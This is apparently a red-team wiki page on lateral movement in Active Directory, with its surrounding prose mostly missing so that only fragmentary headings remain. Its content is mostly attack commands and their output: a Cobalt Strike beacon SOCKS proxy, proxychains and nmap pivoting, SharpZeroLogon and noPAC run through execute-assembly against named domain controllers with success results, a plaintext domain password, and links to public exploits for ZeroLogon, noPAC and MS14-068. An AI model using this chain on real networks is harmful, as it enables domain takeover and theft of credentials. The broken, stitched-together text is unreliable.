

CVE

low hanging fruit

1 CVE

SOCKS

socks 1080

beacon 1080

C2 SOCKS

Python

CVE

.NETKBOE

Pe

```
beacon> socks 1080
[+] started SOCKS4a server on: 1080
[+] host called home, sent: 16 bytes
[WEB02] serveradm */4968 (x64)
beacon>
```

proxychains

```
ubuntu@ts:~$ netstat -ano | grep 1080
tcp6      0      0 :::1080          :::*              LISTEN      off (0.00/0/0)
ubuntu@ts:~$ sudo apt install proxychains
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  libproxychains3
The following NEW packages will be installed:
  libproxychains3 proxychains
0 upgraded, 2 newly installed, 0 to remove and 110 not upgraded.
Need to get 19.3 kB of archives.
After this operation, 73.7 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu focal/universe amd64 libproxychains3 amd64 3.1-8.1 [14
.3 kB]
Get:2 http://us-east-1.ec2.archive.ubuntu.com/ubuntu focal/universe amd64 proxychains all 3.1-8.1 [5032 B]
Fetched 19.3 kB in 0s (387 kB/s)
Selecting previously unselected package libproxychains3:amd64.
(Reading database ... 205337 files and directories currently installed.)
Preparing to unpack .../libproxychains3_3.1-8.1_amd64.deb ...
Unpacking libproxychains3:amd64 (3.1-8.1) ...
Selecting previously unselected package proxychains.
Preparing to unpack .../proxychains_3.1-8.1_all.deb ...
Unpacking proxychains (3.1-8.1) ...
Setting up libproxychains3:amd64 (3.1-8.1) ...
Setting up proxychains (3.1-8.1) ...
update-alternatives: using /usr/bin/proxychains3 to provide /usr/bin/proxychains
(proxychains) in auto mode
```

/etc/proxychains.conf

```
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks4 127.0.0.1 1080
```

```
root@ts:~# cat /etc/proxychains.conf | grep -v '#'

strict_chain

proxy_dns

tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks4 127.0.0.1 1080
```

nmap proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445

```
ubuntu@ts: ~$ proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:54 UTC
| S-chain| -<>- 127.0.0.1:1080-<>- 172.16.1.52:139-<>- OK
| S-chain| -<>- 127.0.0.1:1080-<>- 172.16.1.52:135-<>- OK
| S-chain| -<>- 127.0.0.1:1080-<>- 172.16.1.52:445-<>- OK
Nmap scan report for ip-172-16-1-52.ec2.internal (172.16.1.52)
Host is up (0.76s latency).

PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
```

CVE-2022-26923

AD ADCS

CVE-2020-1472 ZeroLogon

<https://github.com/SecuraBV/CVE-2020-1472>

.NET (

<https://github.com/leitosama/SharpZeroLogon/tree/main>)

```
beacon> execute-assembly sharpzerologon.exe dc05.white-bird.local
[*] Tasked beacon to run .NET program: sharpzerologon.exe dc05.white-bird.local
[+] host called home, sent: 113749 bytes
[+] received output:
Performing authentication attempts...
=====
[+] received output:
=====
[+] received output:
=====
[+] received output:
=====
Success! DC can be fully compromised by a Zerologon attack.
```

dc01

```
beacon> execute-assembly sharpzerologon.exe dc01.prod.raven-med.local
[*] Tasked beacon to run .NET program: sharpzerologon.exe dc01.prod.raven-med.local
[+] host called home, sent: 113757 bytes
[+] received output:
Performing authentication attempts...
=====
[+] received output:
=====
[+] received output:
=====
[+] received output:
=====
[+] received output:
=====
Success! DC can be fully compromised by a Zerologon attack.
```

CVE-2021-42278 NoPAC

<https://github.com/Ridter/noPac>) (<https://github.com/0x0/noPac>)

Main

0 references

```
public static void Main(string[] args)
{
    string argDomainUser = "";
    string argDomainUserPassword = "";

    string argContainer = "COMPUTERS";
    string argDistinguishedName = "";
    string argDomain = "";
    string argDomainController = "";
    string argTargetSPN = "";
    string argService = "LDAP";
    string argImpersonate = "administrator";
    bool argPTT = false;

    //machine account
    string argMachineAccount = "";
    string argMachinePassword = "";

    bool argRandom = false;
    bool argVerbose = true;
    Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID();
}
```

exe

VPS

execute-assembly

Web02

serveradm

white-bird.local

noPAC

```
beacon> execute-assembly nopac.exe scan -domain white-bird.local -user serveradm -pass "Summer2024!"
[*] Tasked beacon to run .NET program: nopac.exe scan -domain white-bird.local -user serveradm -pass "Summer2024!"
[+] host called home, sent: 497325 bytes
[+] received output:
[+] Got TGT from dc05.white-bird.local. Ticket size: 555
```

MS14-068

KDC <https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/pykek/ms14-068.py>) Windows 2019

Revision #7

Created 5 September 2022 03:04:00 by

Updated 11 May 2023 13:50:07 by